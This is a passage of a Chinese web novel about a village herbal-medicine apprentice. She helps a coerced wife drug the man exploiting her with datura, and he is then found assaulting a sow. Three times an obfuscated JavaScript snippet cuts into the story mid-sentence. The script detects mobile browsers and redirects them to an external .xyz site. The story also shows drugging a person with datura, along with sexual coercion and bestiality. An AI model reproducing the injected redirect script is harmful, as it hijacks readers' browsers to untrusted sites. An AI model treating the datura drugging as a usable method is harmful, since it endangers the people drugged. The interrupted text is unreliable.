“别啊,孔哥,你难得来一次,中午留下吃个饭吧。”徐志成主动挽留道。 王穗花一边编起袖子,一边跟着说道:“是啊,家里今天要炖只鸡,一起留下吃点吧。” 孔祥明也不跟他们客气了,“行吧,那先让妹子留下给志成瞧病,我跟你去厨房,给你打打下手。” “成。” 沈妙先是询问了一下他这两天的休息情况,然后又给他诊了脉。 经过这段时间的调养,他的身体确实恢复了许多,听他说“脚痛”的情况也有所缓解,只是还是会做噩梦,就算是白天睡午觉也偶尔会惊醒。 拿出针包准备给徐志成做针灸的时候,沈妙在药箱里找了半天没找到打火机,于是徐志成说可以去厨房借个火。 “嫂子,我来用下打火机。” 沈妙来到厨房时,王穗花和孔祥明正在一起处理着刚抓住的那只老母鸡。 他们俩分明是在给老母鸡拔毛,可是沈妙却看到,孔祥明的手搭在了王穗花的手上…… 8. 第 8 章 孔祥明的手撤得很快,看到沈妙的那一刻,手就立刻缩了回去。 不过还是被沈妙看到了。 直觉告诉沈妙,方才叠在一起的手,绝对不是无意地触碰。 王穗花似乎也意识到被她看到了,用围裙擦手的时候,动作明显有些紧张:“火机啊,我给你拿。” “我包里有打火机,要不我去给她拿吧。”说着,孔祥明也跟着朝厨房门口走了过来。 “不用麻烦,厨房里就有。” 一个往碗柜走,一个朝门口来;一个往里,一个往外…… 好啊!这俩人一定是有什么事! 沈妙吃过的瓜不少,所以脸上并没有表现出丝毫的惊讶,而是如他们所愿,继续装作什么都没看到的模样,笑着从王穗花手里接过了那只打火机。 “还需要别的啥不?”王穗花的眼神有些飘忽不定,似乎是在催促着她离开。 “也没啥了,”沈妙也没再逗留,“那你们忙,我回屋了。” 不知怎地,在沈妙接过打火机的时候,总觉得像捧着一碗毒药。端给自己的是“潘金莲”,下毒的人是“西门庆”,而屋里躺着的则是可怜的“武大郎”。 不出沈妙所料,她这边才刚进屋,厨房那边的门就跟着被掩上了。 门开着的时候两人都敢这么乱来,门这么一关,不得更加龙缠凤绕,碰撞出一汪缠绵淋漓的潮热湿雨了? 沈妙真想揭穿他们的无耻行径,可惜,她刚才不过是匆匆一瞥,算不上什么铁证如山。 再等等,既然他们生出了偷吃的心,就一定会再想办法张嘴,等一会她非得亲自把他们揭穿不可! 徐志成是老实人不错,可再老实的人,也不能被他们这么骑着脸欺负啊?! 见针灸时沈妙时不时地抬头看向窗外,徐志成不由问道:“是有啥事不?要不你先去忙吧,我最近好多了,赖好灸两针就行。” “啊,我没事啊,”沈妙笑笑,赶忙把注意力给拉了回来,“害!就是早上没吃饭,刚才见嫂子在切肉,有点馋了。” 徐志成跟着坐直了一些,“那一会多吃点,你嫂子做饭香得很哩!” 提起王穗花时,徐志成的脸上堆满了幸福和得意,好像只要有她在身边,哪怕吃再多的苦、受再多的累,心里也会是甜的。 “志成哥,你和我嫂子是咋认识的?”沈妙好奇地问道。 徐志成长得不算英俊,家庭情况也比较差,除了老实之外并没有太明显的优点,跟书里的“武大郎”如出一辙。 而王穗花呢,她只是穿得有些土、晒得有些黑,常年干活的手也有些粗糙,可若是好好捯饬一番,不说有多么闭月羞花,但也是够得上“漂亮”二字的。 有男人瞧上她,并不算稀奇。 回想起过去的事,徐志成不禁长叹了一口气:“俺俩认识得早,初中那会是同班同学,不过一直到她高中毕业才走到一起。” 如果说徐志成这辈子有什么甜蜜的记忆,这段学生时期的恋爱就是其中之一。 他们的爱情平平无奇,就是王穗花在一众男生中看上了他的勤劳能干、老实淳朴而已,然后不顾家里反对嫁给他这么个穷小子。 婚后的生活虽然平淡又贫苦,但只要两人能相互扶持,就是胜蜜糖甜,日子再苦也能有盼头。 瞧徐志成回忆往昔时止不住上扬的嘴角,沈妙只能在心里暗自唏嘘:可惜啊,这都是他一厢情愿地想象罢了…… 今天的阳光不错,照进屋子里的时候暖洋洋的。徐志成昨天晚上没睡好,让阳光这么一晒,针灸后程穗又给他按摩了好一会,眼皮不由变得有些重。 “稍微睡会吧,”见他一连打了好几个哈欠,沈妙温声道,“爷爷说你缺乏休息,多睡觉可以养神,对你身体恢复也有好处。” 看看时间,差不多过去了一个小时。 这时候要是去厨房,应该能抓到一些证据。 沈妙一边说一边捋起了袖子,“我正好去厨房给嫂子帮帮忙,一会饭做好了再来叫你。” 徐志成没有拒绝,将小毯子盖在腿上后,回了一声“好”。 从屋里出来后,沈妙踮起脚尖快步朝着厨房走近,既担心自己走得太慢,又害怕自己的脚步声太大会引起屋里那一双“贱鸳鸯”的警惕。 厨房的门关了很久,十几分钟前还能听到切菜剁肉的声响,这会就只有丝丝缕缕的肉香夹杂着米香,时不时地从门窗的缝隙里飘出来。 正当沈妙伸手准备推门时,忽然听到了一句略带警告意味的话。 “嗯?你也不想你男人被讨债的人打死吧。” 这句话直接让沈妙收回了手,同事也让王穗花放弃了阻挡的念头。 在这漫长的一个小时里,她推开了孔祥明无数次的明示和暗示,眼看孔祥明准备霸王硬上弓,她想要骂出口的“臭流氓”却被他严厉的警告给压了回去。 站在王穗花身后的孔祥明如同附在人身上的恶鬼,上下其手地侵扰着。 为了让王穗花彻底放开压住上衣的手,他又在她耳畔吹了一阵带有烟臭味的风,低声耳语道:“乖,只要你肯从了我,这笔钱我就借给你们,什么时候还都可以。” “真,真的?” 王穗花的声音有些颤抖。 她需要这笔钱,徐志成也需要这笔钱。 尽管她恨不得把灶上的锅一股脑扣在他头上,但为了钱,她只能强忍着恶心试图让自己能咽下这份屈辱。 “真的,”孔祥明的动作更大了,“不骗你。” 厨房里放着碗筷的橱柜传出一阵叮铃咣当的声响。 是王穗花为了徐志成而选择妥协的声音…… 那一刻,沈妙的脑子倏地“嗡”了一下。 他们根本不是什么潘金莲和西门庆,是她误会了。 王穗花没有变,她和徐志成所说的一样,是一心一意和他过日子的好女人。如果不是为了徐志成,她是绝对不会咽下这口窝囊气的! 意识到是自己误会了王穗花,沈妙连忙后退几步,刻意提高了声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647307|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对厨房里的两人说道:“嫂子,孔哥,饭做好了吗?我来给你帮帮忙吧!” 王穗花是个好女人,她不该被人看到不堪的一面,也不能被孔祥明这样的人渣欺负。 应该还来得及吧? “快好了,再等十分钟就差不多了。” 为了给他们收拾的时间,沈妙故作不小心地跌了一跤,在外面磨蹭了好一会,直到确认王穗花的声音变得平和了才走近推开厨房的门。 王穗花身前的围裙和衣服上多了几道褶皱,不过幸好还好好地穿在身上。 一旁的孔祥明装作在水池边洗菜,可脸上还没褪去的潮红,那处微微的隆起,却没能藏起他方才的龌龊行径。 两次都被沈妙打断,孔祥明的脸色难看极了。 洗洗手后,当他的目光从沈妙身上经过时,明显多了几分怒意。 “那个,我刚想起来工地上还有事儿,中午就不留下吃了。”孔祥明一边说一边走出厨房门,迫不及待地想要离开犯罪现场。 这次,王穗花没有挽留他,只是用手背蹭了下鼻子,“好。” 回屋拿着包夹在胳膊下面,临走时,他又点了王穗花一句,“等明天,明天晚上我把钱给你们送来,行吧?” 王穗花心里有千万个不情愿,但还是不得不点头,“行……” 不止是王穗花,沈妙也听懂了他话里的暗示。 孔祥明没想放过王穗花,明天晚上他还会来。 随着一串摩托车“轰轰轰”的发动机声响快速从门外驶离,王穗花紧张的肩膀终于放松了下来,强撑着的那口气也随之松懈。 厨房里只剩下她们两人,沈妙虽然什么都没说,但目光相碰的一瞬间,王穗花还是知晓了她刚才在门外的那一声叫喊,是在帮自己解围的好意。 “妙妙,我,我……” 崩溃的情绪犹如洪水,“哗”地一下从她的眼眶中涌了出来。 那一刻,她没有想着向沈妙大声宣泄出心里的委屈,而是努力捂着嘴去克制,生怕会被屋里的徐志成听到什么端倪。 顺手关上门,沈妙一把抱住了王穗花,轻轻拍着她的后背。 她不知道该怎么安慰王穗花,不过比起安慰,或许一个沉默的肩膀才是她更需要的。 王穗花不敢哭得太久,因为她眼睛要是肿的话徐志成会担心的,所以她只将溢出的情绪抹平就立刻收住了眼泪。 他们是穷人,穷人不能把时间浪费在哭上。 “嫂子,你们欠了很多钱吗?”等王穗花的情绪稍微缓和一些后,沈妙轻声问道。 王穗花点点头,“家里原本就没存下什么钱,当初为了给志成治病,大大小小一共借了有五千多。” 沈妙又问:“志成哥是在工地受的伤,这可是工伤,工地没给赔钱吗?” “没,”提起工地,王穗花不禁又叹了一口气,“别说赔钱了,志成他们过去几个月的工钱都没能发下来一分。” “为啥?” “说是被鬼偷走了。” 9. 第 9 章 鬼? 不会这么多人都相信这套说辞吧! 很明显,王穗花是不信的:“鬼就算要钱也得要纸钱才对,把人的钱拿走了它也花不出去,你说,它费这个功夫干啥?” 她是不信,但不是不信世界上有鬼,而是不信鬼会把人的钱给偷走。 王穗花当时没在工地,不清楚到底是怎么回事,她也是听徐志成和孔祥明他们说的。 说是假如徐志成那晚没被鬼吓到的话,第二天正好是发工钱的日子,结果当晚工友们着急忙慌地把他送去医院,回来后,就发现放在财务室里的钱不见了。 而在徐志成摔伤的位置,则发现了几张沾着血的百元大钞。 徐志成是工地上出了名的老实,绝对不会偷工友们的血汗钱,工地上的其他宿舍翻了个底朝天也没找到。 唯一的解释,就是徐志成巡夜时真的撞见了鬼,然后鬼出于报复就把他们的钱给收走了。 否则徐志成怎么会丢掉那段记忆,却还记得鬼的惨叫声呢? 将近十万块啊,就这么被“鬼”给偷走了,又是在工地上丢的。没有人相信这套说辞,报了警,警察也只觉得是他们之中有人监守自盗,最后调查一圈无果,事情便这么不了了之了。 白白干了几个月最后一分钱没拿到,工友们的怨气都发泄在了徐志成身上。 毕竟要不是他冲撞了鬼,就不会发生这档子事。 尽管他也是无辜的受害者,但总要有人来背这个锅,这个人只能是他。 没有工资、没有赔偿,还有那么多治病欠下的外债……他们真的已经到了山穷水尽的地步了。 “嫂子,那你真的打算……” “我知道这样对不住志成,可要是不从了他,志成就只能死了。”提起徐志成,王穗花好不容易按捺的眼泪又从眼角流出了几滴。 即使是面对孔祥明这样屈辱的要求,她第一反应也不是要捍卫自己的清白,而是保住丈夫的命,和这么支离破碎的家。 看到王穗花手背上的一条条皱纹,沈妙内心的愧疚感让她抬不起头来。 尤其是想到刚才自己把她类比成不知廉耻、红杏出墙的潘金莲,更是恨不得把腰弯成一百八十度来请求她的原谅。 “五千块啊,他真能借你这么多?” 沈妙不相信孔祥明的话,她觉得这只是孔祥明用来哄骗的说辞而已。 这种事,她听村里的姑婶姨奶们说得太多了! 一开始给你画个大饼,但当你真的吃了下去,接下来的事可就任由他拿捏了。 “万一他不认账咋办?万一他要了一次再要第二次咋办?万一他说要把这事嚷嚷出去,逼着你杀人放火的,你又该咋办?” 握住王穗花的手,沈妙语重心长地提醒她道:“嫂子,这事儿本来就不光彩,真要上了这王八蛋的当,咱能上哪去讨公道啊!” “我们实在是走投无路了,下个礼拜又得还钱,这次别说三百了,就连三十块我们都拿不出来。” 沈万山来给徐志成治病已经免去诊金和药钱,他们开的是医馆、不是银行,爷爷再三叮嘱她行医最忌同情心泛滥,拿自家的钱去贴补别家的窟窿,所以沈妙不能做主去借这个钱。 眼下看来,只有孔祥明能救他们的急了。 不过,也并非只有王穗花出卖自己才能换到这救命的钱。 看着灶上“咕嘟咕嘟”冒泡的鸡汤,沈妙眼珠一转就想到了一个绝妙的好主意。 “嫂子,你信我不?” 王穗花点点头。 沈妙用手帮她把脸上泪痕擦干净,狡黠的眼睛透漏着几分笑意道:“我下午回去给你带点东西来,到时候我教你怎么用!” * 第二天上午,给上门的人看完病后闲来无事,沈万山便和沈妙一起调配着各类的止疼药膏。 来他们医馆看病的,多是附近村子里常年与田地打交道的庄稼人,而且几乎大部分都是要看四肢疼痛的毛病。 要他们长时间卧床休息不太可能,只能用膏药贴来暂时缓解,所以时常要准备不同的止疼膏药,一锅又一锅地熬着,一忙就是一整天。 院子里的收音机正放着沈万山最爱的《穆桂英挂帅》,那几只中药罐里的药材看似黑乎乎的没差别,实际上每一股蒸腾出的白雾都是不同的气味。 沈妙负责看守着罐子里的药,趁沈万山回屋里抓药的功夫,她又用木勺捞了一下罐子里那一坨乌漆嘛黑的药材。 七叶莲、三七、蚂蟥、生草乌、当归……这只罐子里熬得是罗浮山风湿膏,即使有的药材已经炖得烂糊,沈妙还是能认出全部的种类。 而她这么做贼般地小心翼翼,则是在寻找药方上没有的那几味药材。 沈家的膏药用的并不全是药典上的配方,有时候沈万山会稍稍调整,增加几味“秘方”,有时候是两面针、有时候益母草,因为并不是所有人都适合统一的药方,所以他会调配出更温和的方子。 沈万山还没开始教她调配新的膏药方,不过强烈的好奇心已经让她没有在沈万山的指导下,找出七八个改良后的止疼膏配方了。 这褐色的东西有点像是…… “妙妙!” 沈妙凑近看得出神,被沈万山这么一吓,差点把鼻子给按在那一坨药上。 “啊?咋了?”沈妙急忙把头抬起来回道。 站在门口,沈万山的脸色很不好:“你给我进来!” 沈妙放下手里的木勺,听话地进了屋。 沈万山将存放药材的槽盒整个抽了出来,重重地磕在了桌子上,“说吧,这少了的洋金花你用在哪了?” 沈妙:??? 洋金花是晒干的白色曼陀罗花瓣,多用在止疼止咳、风湿麻痹和外用麻醉。因为药性带毒的缘故,沈万山在平常使用时,习惯用其他药效差不多的来代替,所以用得很少。 沈妙只是拿了那么三四朵而已,对于这半满的槽盒而言,不过是九牛一毛。 少了这么一丢丢都能被发现吗?! “啊?没有啊,”沈妙随手用那根称药材的秤砣扒拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647308|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两下,试图用装傻来蒙混过关,“我没有用过,这不是一直都这么多嘛。” 啪! 话音刚落,那根戒尺就重重地敲在了她的头上。 “还狡辩!真当我老眼昏花?原本这里有一百三十七朵,现在只一百三十三朵,明明就少了四朵!”沈万山声音提高了一个八度,语气不容置疑。 沈妙:…… 见沈妙不说话,沈万山又抽出了另外两个槽盒,里面装着的分别是曼陀罗的叶子和根。表面看起来和平常没什么区别,但沈万山却能发现里面的份量比平常减少了几分。 “你说实话,这少了的东西你拿去干嘛了?” 沈妙不敢再撒谎了。 爷爷看似老迈,实际上洞察力可比鹰还要锐利,要是被他识破只会再挨一戒尺。 不过沈妙也没有老实向他坦白,而是选择沉默。 “妙妙,这东西有毒,可不是随便可以拿来玩的,真要是给人毒出个好歹,闹出人命,你这一辈子可就毁了!” “我没有。” 沈妙咬死不说用途,只是解释道,“爷,我知道轻重,也没有拿来害人。” “那你干什么用了?”沈万山再次追问道。 沈妙不说话,依旧用沉默来回答。 见她死犟着不肯坦白,沈万山又一次高高举起了手里的戒尺,可这次,却没有打在她的身上,而是重重地丢在了旁边的桌子上,“好,不说话,那你从今天开始就别吃饭了,一口都不许吃!” “不吃就不吃。” 不就是不吃饭吗?少吃一两顿没什么了不起的,权当是辟谷了。 但是,现实总比理想要骨感得多。 到了晚上,饿得头晕眼花的沈妙在看到桌子上的红烧肉和蒜薹炒鸡蛋时,悔恨的眼泪还是顺着嘴角流了下来。 香……好香…… 瞧自己的亲闺女饿得两眼发亮,一杯又一杯地喝水填肚子,王冬梅和沈山生心疼坏了。 他们不清楚究竟发生了什么事,只知道要是老爷子不松口,他们谁都不能给她递一口馍。 没办法,他们只好往她的水杯里倒一点白糖和醋,靠着这酸甜的味道来帮她垫垫肚子。 一整天没吃东西,第二天醒来的时候,沈妙感觉手脚都是轻飘飘的,连呼吸都觉得累。 沈万山没让她给医患看病,而是让她把昨天熬好的膏药给涂在纱布上匀好。 肚子空空如也,又晒了一上午的太阳,忙到中午十二点准备回家时,沈妙感觉脑子都不变得清醒了,只想倒在床上做一个能吃到山珍海味的美梦。 “你听说没?昨天有人把村里的猪给骑了。” “骑猪?多大的人了,不怕烂□□啊。” 听着迎面走来的婶子一边扛着锄头一边聊着八卦,沈妙迷糊的视线倏地变得清楚了许多,无力的耳朵也跟着竖了起来。 有瓜吃?! 婶子拍了一下旁人的手臂,提示道:“哎呀,不是那个骑,是那个骑。” 啊?哪个骑? 10. 第 10 章 想要吃瓜的好奇心催使着沈妙提起精神。 饭可以不吃,瓜不能不听! 可还不等她听婶子们继续说下去,眼前倏地一黑,整个人就“咣当”一下栽倒在了地上…… 再次醒来的时候,她已经躺在了家里的床上。 桌子上的风扇正呼呼地吹着凉风,平时没什么滋味的米汤此刻变得格外香,就连齁咸的小腌菜也堪比人间珍馐。 “醒了?” 沈万山正在按摩着她手臂上的几个穴位,见她睁开眼,这才把手给收了回来。 沈万山是个刀子嘴豆腐心的脾气,虽然嘴上要给沈妙一点教训,可她毕竟是自己的孙女,是他从小亲自拉扯大的心肝宝贝疙瘩蛋,怎么可能忍心给她饿出个好歹。 他明面上说着不许吃饭,可又没不许她偷偷吃? 他昨晚一直没怎么从屋里出来,今儿上午也不怎么露面,就是为了给她偷吃不被自己发现的机会,偏偏她还真是“听话”,恨不得用裤腰带勒住脖子,一口都不吃。 见她晕倒后苍白的小脸儿,沈万山一时不知该夸她耿直,还是骂她缺心眼。 人饿得太久会伤胃,其次四肢也可能会痉挛,不过沈万山在她睡着时不停地按摩着几个大穴,所以沈妙醒来后并没有觉得太难受,只是有些头晕而已。 “我……是不是晕倒了。” 撑着床慢慢坐起来,在闻到米汤的味道时,沈妙不禁咽了咽口水。 她只记得自己当时想放慢脚步听瓜,结果一回头,就什么都不记得了。 “嗯,”端起床头的白瓷碗,沈万山用勺子将面上那层凝固的膜搅进了汤里,“说出去都没人信,这都啥年代了,咱村还真有人能饿晕在路上,晕的还是村长家的妮儿。” 沈妙:…… 我的错,是我给咱村脱贫致富奔小康的理想拖后腿了。 沈万山舀起小半勺的汤递到沈妙嘴边,小小的一口,没有多少米粒,全是浓白的水儿,怕是连刚满岁的孩子张口都不够塞牙缝的。 “饿得太久了不能吃太急,一口一口,慢慢吃。” 沈妙“嗯”了一声,还是像小时候那样,乖乖地张开嘴巴让他来喂。 昨天还怒发冲冠的沈万山,此时又变回了慈祥的爷爷,甚至言语和动作比平时还要和蔼几分。 在沈万山的眼里,对待沈家的继承人和自己的孙女是不一样的,他会因为沈家继承人私自用药而愤怒,但对自己饿晕的孙女,他的眼里就只有心疼。 “那些曼陀罗你是拿给王穗花了吧。” “咳咳!” 沈妙那口米汤还没来得及咽下去,就被他吓得咳了出来,“您,咳咳!您怎么知道?!” 沈万山撇撇嘴,用勺子刮着她嘴角的米粒,轻描淡写地说:“岔河村的笑话都在咱们村传一上午了,王穗花他们两口子也被拉去警察局了,我还能猜不出来?” “警,警察局……?” 听到他们被抓走,沈妙的心里不禁“咯噔”了一下。 事情怎么会闹得这么严重? 她给王穗花那些东西是让她用来骗孔祥明的,曼陀罗的叶子燃烧可以用来麻醉,而晒干的花瓣也有致幻的作用,配合来使用可以做到类似于编织梦境的作用。 沈妙一开始想的是,让王穗花给孔祥明用曼陀罗麻醉,等到他醒来之后就可以说已经完事了,这样既可以不出卖自己的身体,又能借到钱,他也别想以此来威胁她。 为了降低叶子和花瓣的毒性,沈妙特地用酒精和水浸泡过几次,难不成孔祥明的体质过于脆弱,所以…… “那人是死了吗……”沈妙小心翼翼地问道。 “死?”沈万山皱了皱眉,“听说是没死,不过以后死不死就不知道了,毕竟猪那么脏,谁也不知道有没有染上啥病。” 不知道是不是晕倒了太久,脑子有点迟钝,沈万山说得每个字她都能听懂,但拼在一起却没明白是什么意思。 沈妙:“等等,什么猪?什么病?” 见她一无所知地看着自己,沈万山又给她喂一勺米汤,连带着她晕倒前错过的瓜也一起递到了嘴边:“天天在村里听这听那,那男人骑猪的事儿你竟然没听说?就昨儿晚上,徐志成的那个领导把岔河村的猪给骑了。” 沈妙:??? 原来孔祥明就是婶子们口中那个骑猪的人啊。 沈万山是今天听沈山生打电话时听说的。 不得不说,电话真是个好东西,不仅拉近了村子之间的距离,也更好地传递着八卦。 没人知道孔祥明为什么会出现在岔河村,也不知道为什么他会和村里的猪搅和在了一起,听说村民之所以发现了他在骑猪,是因为他叫得声音太大了。 当然受了惊的母猪挣扎的声音也不小,两条短粗的小胖腿都快蹬断了都没用,还是没能逃脱他的魔爪。 岔河村的村民一开始以为是谁来村里偷猪,又是拿锄头、又是扛铁锨,等赶到现场看到孔祥明趴在母猪的身上顾涌(拱动)的时候,所有人都愣住了。 孔祥明像是喝醉了酒一样,嘻嘻哈哈地搂着母猪的腰发泄着他的手语,上半身的衣服穿得好好的,下半身则是光溜溜的,吓得围观群众赶忙捂住了孩子和老人们的眼。 “你的扔子可真大,怎么样,嗯?喜欢吗?” 孔祥明的意识是模糊的,可说话却很利索,不堪入耳的荤话说得一套一套的。 “哼哼!哎哎哎!” 母猪被捏得疼了,又试着往后蹬了两下。 它越挣扎,孔祥明就越是兴奋,光是身体顾涌(拱动)还不够,还抬手在它肥嘟嘟的屁股蛋儿上拍了好几下,“我跟你男人谁厉害,嗯?” “哎!哎哎!” “啊啊!啊啊啊!” 听母猪叫得声音越来越大,孔祥明忍不住跟着叫出了声。 那一刻,不止是他和母猪不忍直视,这声音也同样让人尴尬…… 说实话,他们当时是能第一时间把他从母猪身上拉起来的,不过这画面实在是在炸裂了,刺耳的声音更是震穿了他们的耳膜,以至于他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647309|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们全部石化在原地围观,直到母猪都快流出绝望的泪水,他们才把孔祥明从母猪身上拖开。 现场除了最大的受害者:母猪之外,还有母猪那群尚未长大的小猪崽儿们,以及同样被这奇景刺痛到眼睛的王穗花。 村民们问王穗花发生了什么时,王穗花也表示不知道该从何说起,一开始孔祥明抽了根烟表示有点困,结果休息了一会就像是喝醉酒一样开始犯浑。 而村民问她孔祥明为什么半夜会出现在村里时,她则用借钱还账给搪塞了过去。 不过,沈万山可没这么好糊弄。 村民们以为是孔祥明是吸了du才会发癫,但根据村民们的描述,沈万山则觉得这更像是中了曼陀罗的毒,出现了幻觉后才会出现的事。 于是他第一时间就猜到了是沈妙搞得鬼。 “那男人肯定不是冲着猪去的,说吧,到底怎么回事?”把昨晚的瓜喂得差不多后,沈万山这才夹起半根小咸菜给她换了换嘴里的味道。 既然沈万山猜到了是自己,沈妙便不再隐瞒,把自己所知道的事一五一十地都告诉了他。 “……事情就是这样,我也是看嫂子可怜,不想她被欺负才想帮她一把。” 本以为沈万山听了之后又要敲自己一记脑瓜崩了,没想到,他只是轻叹了一口气,语重心长地说道:“你这不是帮她,是在害她。你有没有想过,万一份量不对,万一他被毒死了怎么办?那你们可就都成杀人犯了。” “不会的,”沈妙咀嚼着嘴里的咸菜,表情好不得意,“份量我下得很低,顶多就是多睡几个小时而已,死不了人的~” 沈万山瞪了她一眼,用手指推了一下她的脑门:“这次是让你歪打正着了。你啊,年龄还小,等你再坐几年诊就知道有些忙我们是不能帮的。” “是是是,不帮了,下次绝对不帮了。”沈妙答应得挺快,但却没他的话听进去。 擦了擦嘴角,沈妙又问:“那孔祥明被抓去警察局是被怀疑吸du?” 将吃完的碗放在一旁,沈万山用毛巾擦了擦手,“应该不是,去警察局是徐志成要求的。” “志成哥当时也在?”沈妙疑惑地皱了下眉,“不对啊,他是什么时候去的,不是说只有嫂子在吗?” “这我哪知道,我又没问这么多。” 沈万山可没有她这么多的好奇心,不是他该知道的绝不多问一句,这些事也是他在沈山生打电话时无意间听到的,所以并不知道具体细节。 他只知道孔祥明骑了猪,徐志成两口子和他一起被拉去了警察局。 按理说这件事他也会烂在肚子里的,要不是猜到和沈妙有关,也不会说出来给她听。 “啊……” 吃瓜吃到一半的感觉很难受,就像是被一口气哽在了嗓子眼一样,不上不下。 他们到底为什么会去警察局?沈妙可太想知道了,分明才刚被一碗米汤喂饱,可闲不下来的嘴巴还是忍不住想吃点什么。 唉!要是能有目击证人来告诉她更多的细节就好了。 11. 第 11 章 沈妙中午喝了一碗米汤,缓了一晌的功夫,又吃了一点瘦肉和青菜,虚弱的身体很快就恢复了过来。 沈万山看出了她的心思不在医馆,于是拿了几样药材后,主动让她去岔河村跑一趟腿。 “真的?我真的能去?”一听说要去岔河村,沈妙的眼睛都在放光。 沈万山撇撇嘴,“嗯,早去早回,别耽误太长时间了。” 沈万山可太了解自己这个孙女了,都说“隔辈传、隔辈传”,她这打破砂锅问到底的性子还真是随了自己。 小时候教她研究药方,她能顶着日头在院子里两三个小时不抬头,非要自己研究清楚是怎么回事不可。可惜,她这股钻研劲儿不止是用在了学医上,别人的家长里短她也同样好奇。 要是不打听清楚徐志成他家的事儿,天晓得她又会整出什么幺蛾子,他可不想诊病的时候看她拉着其他村的姑婶姨奶们拉家常。 左右徐志成一家也是可怜,既然沈妙帮过他们,索性就让她看看自己帮忙后的结果吧,也算了了她一桩心事。 有了爷爷的许可,沈妙蹬着自行车的两条腿都要比平常有力,平常要骑半个小时的路程,今儿不到二十分钟就到了。 “妙妙来了啊。” “哎。” “姑娘长大了,知道心疼爷爷,帮他跑腿了。” “应该的,应该的。” 下午四五点左右,一天的暑气正在渐渐消散。 各家里能干的人都还在田里忙活着,只有老一辈的爷奶们带着还在穿开裆裤的孙小们,坐在村口的那棵老槐树下,享受着悠闲的时光。 有的在下象棋、有的在剥花生,多是沈妙见着陌生的面孔,不过他们却认得她是清河村沈家医馆的妮儿,所以她推车经过时会主动同她打招呼。 正事要紧,沈妙没急着一头扎在村头和长辈们拉家常,而是先把该送的药材送到了各家。 一共五家,除了李屠夫家里没人之外,其他几家都拿到了沈万山给开的药。 不过想想也正常,李屠夫家的猪和村里的猪养在一起,说不定昨晚孔祥明侵犯的就是他家的猪,身为受害人之一,他没准也去了警察局要为自家的母猪讨回公道。 “姨,我来给李奶送药,她家咋没人啊?”迎面碰见邻居家的阿姨拎着布袋正要出门,沈妙便向她问道。 李屠夫去为母猪喊冤理所应当,不过李奶奶瘫痪在床多年,总不能她也不在家吧。 瞧了眼沈妙手里那一包牛皮纸包着的药,女人回道:“老李中午带李婶儿去城里复查了,估摸着快回来了,你要不急的话就坐村口等会他们吧。” “中。” 将车子停在村口,沈妙拎着药找了处地方坐下,偶尔撞上几束向自己投来的目光,不免有些局促和紧张。 从小跟在沈万山身边学医接诊,沈妙就不是个怕生的性子,跟清河村的每个人都能说上几句话。 不过这里是岔河村,坐着的又都是年龄和爷爷差不多的长辈,她总不能跟不认识的人拉家常。 所以在等李屠夫一家回来之前,她只好暂时融入孩子们的圈子,和那几个梳着羊角辫的小妮儿和穿着开裆裤的小孩儿玩抓石子的游戏。 沈妙刚坐下约摸着二十来分钟左右,就有人带着一位婶子匆匆忙忙地找了过来。 “你就是沈万山,沈叔的孙女吧?”走到沈妙跟前,女人试探地问道。 “对。”沈妙点点头。 沈妙瞧着女人有些眼熟,应该是曾经在医馆见过,却不记得她姓甚名谁了。 确定她是沈妙后,女人这才长长地松了口气,“闺女啊,能帮俺瞧个病不?” “当然能,”见女人模样着急,沈妙连忙起身反问道,“你是哪不舒服?” “不是我。” 女人面露难色,欲言又止了好一会,才压低了声音,说:“是……是俺家的猪。” 沈妙:??? 跟着女人来到她家,沈妙见到了那只趴在院子角落的母猪。 母猪将那只笤帚咬得稀烂,脑袋瓜就这么埋在碎屑中间,听到院子里有脚步声,吓得它又发出了几声哼叫,硕大的身躯止不住地瑟瑟发抖。 这就是昨晚被孔祥明侵犯的母猪。 不是李屠夫家的,是这位婶子家的,而这位婶子是村里二队队长的媳妇。 事情已经快过去一天了,母猪还没从昨晚的惊吓中缓过神来。 听婶子说,母猪从今早开始就不下奶了,在猪圈里转了一圈又一圈,糠不吃、水不喝,见到人,尤其是男人就“哇哇”地发出惨叫,她也是没办法了,才把它暂时接回自己的院子,这才稍微好了点。 “它还有六只崽儿要喂,崽儿们都饿一天了,要是它一直不下奶,就都得饿死了。”婶子用勺子搅着那一桶特意给它熬的红薯叶玉米糁,愁得直皱眉。 唉,这也不能怪母猪。 它也没想到自己都当娘了,还会大半夜的被一只雄性两脚兽给拉出来侵犯。 这是心病。 还好医理是相通的,有些治疗“惊则气乱”的方子在动物身上也适用,沈妙也见过爷爷曾经给牛啊、猪啊这些动物治病,所以便试着靠近为母猪诊断。 “哎啊!哎啊!” 听到有脚步声靠近,母猪不禁又往墙角缩了缩。 